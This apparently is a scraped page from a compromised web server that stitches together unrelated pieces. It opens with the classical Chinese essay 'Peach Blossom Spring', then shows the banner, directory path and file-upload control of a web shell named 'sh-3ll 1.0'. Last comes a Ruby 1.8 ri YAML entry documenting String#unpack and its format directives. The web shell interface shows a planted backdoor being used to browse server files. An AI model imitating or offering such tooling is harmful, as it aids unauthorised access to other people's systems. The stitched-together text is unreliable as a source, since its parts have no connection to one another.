晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby18/share/ri/1.8/system/String/
Upload File :
Current File : //opt/alt/ruby18/share/ri/1.8/system/String/unpack-i.yaml
--- !ruby/object:RI::MethodDescription 
aliases: []

block_params: 
comment: 
- !ruby/struct:SM::Flow::P 
  body: Decodes <em>str</em> (which may contain binary data) according to the format string, returning an array of each value extracted. The format string consists of a sequence of single-character directives, summarized in the table at the end of this entry. Each directive may be followed by a number, indicating the number of times to repeat with this directive. An asterisk (``<tt>*</tt>'') will use up all remaining elements. The directives <tt>sSiIlL</tt> may each be followed by an underscore (``<tt>_</tt>'') to use the underlying platform's native size for the specified type; otherwise, it uses a platform-independent consistent size. Spaces are ignored in the format string. See also <tt>Array#pack</tt>.
- !ruby/struct:SM::Flow::VERB 
  body: "   &quot;abc \\0\\0abc \\0\\0&quot;.unpack('A6Z6')   #=&gt; [&quot;abc&quot;, &quot;abc &quot;]\n   &quot;abc \\0\\0&quot;.unpack('a3a3')           #=&gt; [&quot;abc&quot;, &quot; \\000\\000&quot;]\n   &quot;abc \\0abc \\0&quot;.unpack('Z*Z*')       #=&gt; [&quot;abc &quot;, &quot;abc &quot;]\n   &quot;aa&quot;.unpack('b8B8')                 #=&gt; [&quot;10000110&quot;, &quot;01100001&quot;]\n   &quot;aaa&quot;.unpack('h2H2c')               #=&gt; [&quot;16&quot;, &quot;61&quot;, 97]\n   &quot;\\xfe\\xff\\xfe\\xff&quot;.unpack('sS')     #=&gt; [-2, 65534]\n   &quot;now=20is&quot;.unpack('M*')             #=&gt; [&quot;now is&quot;]\n   &quot;whole&quot;.unpack('xax2aX2aX1aX2a')    #=&gt; [&quot;h&quot;, &quot;e&quot;, &quot;l&quot;, &quot;l&quot;, &quot;o&quot;]\n"
- !ruby/struct:SM::Flow::P 
  body: This table summarizes the various formats and the Ruby classes returned by each.
- !ruby/struct:SM::Flow::VERB 
  body: "   Format | Returns | Function\n   -------+---------+-----------------------------------------\n     A    | String  | with trailing nulls and spaces removed\n   -------+---------+-----------------------------------------\n     a    | String  | string\n   -------+---------+-----------------------------------------\n     B    | String  | extract bits from each character (msb first)\n   -------+---------+-----------------------------------------\n     b    | String  | extract bits from each character (lsb first)\n   -------+---------+-----------------------------------------\n     C    | Fixnum  | extract a character as an unsigned integer\n   -------+---------+-----------------------------------------\n     c    | Fixnum  | extract a character as an integer\n   -------+---------+-----------------------------------------\n     d,D  | Float   | treat sizeof(double) characters as\n          |         | a native double\n   -------+---------+-----------------------------------------\n     E    | Float   | treat sizeof(double) characters as\n          |         | a double in little-endian byte order\n   -------+---------+-----------------------------------------\n     e    | Float   | treat sizeof(float) characters as\n          |         | a float in little-endian byte order\n   -------+---------+-----------------------------------------\n     f,F  | Float   | treat sizeof(float) characters as\n          |         | a native float\n   -------+---------+-----------------------------------------\n     G    | Float   | treat sizeof(double) characters as\n          |         | a double in network byte order\n   -------+---------+-----------------------------------------\n     g    | Float   | treat sizeof(float) characters as a\n          |         | float in network byte order\n   -------+---------+-----------------------------------------\n     H    | String  | extract hex nibbles from each character\n          |         | (most significant first)\n   -------+---------+-----------------------------------------\n     h    | String  | extract hex nibbles from each character\n          |         | (least significant first)\n   -------+---------+-----------------------------------------\n     I    | Integer | treat sizeof(int) (modified by _)\n          |         | successive characters as an unsigned\n          |         | native integer\n   -------+---------+-----------------------------------------\n     i    | Integer | treat sizeof(int) (modified by _)\n          |         | successive characters as a signed\n          |         | native integer\n   -------+---------+-----------------------------------------\n     L    | Integer | treat four (modified by _) successive\n          |         | characters as an unsigned native\n          |         | long integer\n   -------+---------+-----------------------------------------\n     l    | Integer | treat four (modified by _) successive\n          |         | characters as a signed native\n          |         | long integer\n   -------+---------+-----------------------------------------\n     M    | String  | quoted-printable\n   -------+---------+-----------------------------------------\n     m    | String  | base64-encoded\n   -------+---------+-----------------------------------------\n     N    | Integer | treat four characters as an unsigned\n          |         | long in network byte order\n   -------+---------+-----------------------------------------\n     n    | Fixnum  | treat two characters as an unsigned\n          |         | short in network byte order\n   -------+---------+-----------------------------------------\n     P    | String  | treat sizeof(char *) characters as a\n          |         | pointer, and  return \\emph{len} characters\n          |         | from the referenced location\n   -------+---------+-----------------------------------------\n     p    | String  | treat sizeof(char *) characters as a\n          |         | pointer to a  null-terminated string\n   -------+---------+-----------------------------------------\n     Q    | Integer | treat 8 characters as an unsigned\n          |         | quad word (64 bits)\n   -------+---------+-----------------------------------------\n     q    | Integer | treat 8 characters as a signed\n          |         | quad word (64 bits)\n   -------+---------+-----------------------------------------\n     S    | Fixnum  | treat two (different if _ used)\n          |         | successive characters as an unsigned\n          |         | short in native byte order\n   -------+---------+-----------------------------------------\n     s    | Fixnum  | Treat two (different if _ used)\n          |         | successive characters as a signed short\n          |         | in native byte order\n   -------+---------+-----------------------------------------\n     U    | Integer | UTF-8 characters as unsigned integers\n   -------+---------+-----------------------------------------\n     u    | String  | UU-encoded\n   -------+---------+-----------------------------------------\n     V    | Fixnum  | treat four characters as an unsigned\n          |         | long in little-endian byte order\n   -------+---------+-----------------------------------------\n     v    | Fixnum  | treat two characters as an unsigned\n          |         | short in little-endian byte order\n   -------+---------+-----------------------------------------\n     w    | Integer | BER-compressed integer (see Array.pack)\n   -------+---------+-----------------------------------------\n     X    | ---     | skip backward one character\n   -------+---------+-----------------------------------------\n     x    | ---     | skip forward one character\n   -------+---------+-----------------------------------------\n     Z    | String  | with trailing nulls removed\n          |         | upto first null with *\n   -------+---------+-----------------------------------------\n     @    | ---     | skip to the offset given by the\n          |         | length argument\n   -------+---------+-----------------------------------------\n"
full_name: String#unpack
is_singleton: false
name: unpack
params: |
  str.unpack(format)   => anArray

visibility: public